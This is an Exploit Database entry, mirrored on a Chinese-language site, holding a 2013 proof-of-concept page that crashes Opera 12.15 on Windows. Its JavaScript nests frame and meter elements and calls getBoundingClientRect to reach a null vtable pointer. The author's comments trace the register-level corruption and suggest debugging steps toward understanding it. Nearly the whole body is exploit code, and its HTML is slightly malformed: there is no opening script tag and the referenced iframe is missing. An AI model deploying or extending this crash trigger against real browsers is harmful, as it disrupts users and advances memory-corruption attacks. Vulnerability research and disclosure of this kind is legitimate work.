Opera 12.15 – vtable Corruption

Exploit Database
128 阅读

作者： echo

日期： 2013-07-02
类别：
- dos
平台：
- windows
来源：https://www.exploit-db.com/exploits/26555/

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">

<html>

<head>

<title> Opera 12.15 DOS POC</title>

</head>

<body>

Title: Opera 12.15 vTable Corruption

Author: echo

Test: Windows 7 x64

Version: Opera 12.15 Win32

Link: www.opera.com

var wnd = document.getElementById("wnd");

wnd = wnd.contentWindow;

function d00m()

{

var tag = [];

tag.push(document.createElement("frame"));

tag.push(document.createElement("meter"));

wnd.document.body.appendChild(tag[0]);

wnd.document.body.appendChild(tag[1]);

/* step 1*/

var obj = tag[1];

var obj_1 = tag[0];

try{ obj_1.appendChild(obj); }catch(b){}

/* eax = [esi + 14h] = this->unknow20 */

try{ obj_1.getBoundingClientRect(); }catch(a){}/* ecx = [eax + 14h] = this->unknow20->unknow20 */

/* eax = [ecx] = this->unknow20->unknow20[vtBl] (correnct) */

/* step 2*/

var obj = tag[0];

var obj_1 = tag[1];

try{ obj_1.appendChild(obj); }catch(b){}

try{ obj_1.getBoundingClientRect();}catch(a){} /* eax = [esi + 14h] = this->unknow20 */

/* ecx = [eax + 14h] = this->unknow20->unknow20 */

} /* eax = [ecx] = this->unknow20->unknow20[vtBl] (uncorrect) 0x00000000 reference */

d00m();

/* so we have here some kind of memory corruption */

/* in "step 1" "vulnerable" code works fine he gets refernce to vtable and do some stuff */

/* in "step 2" the same code do the same thing but vtable of refernced object is corrupted and has value 0x0000000*/

/* logically next step should be checking why the vtable in "step 2" is corrupted */

/* i observed heap allocation and free function between "step 1" and "step 2" - no alloc and free of intersting area occurs (but maybe i fuckup something) */

/* We also can set mem access breakpoint on [eax+14h] at the right moment to find out what corrupt vtable */

</script>

</body>

</html>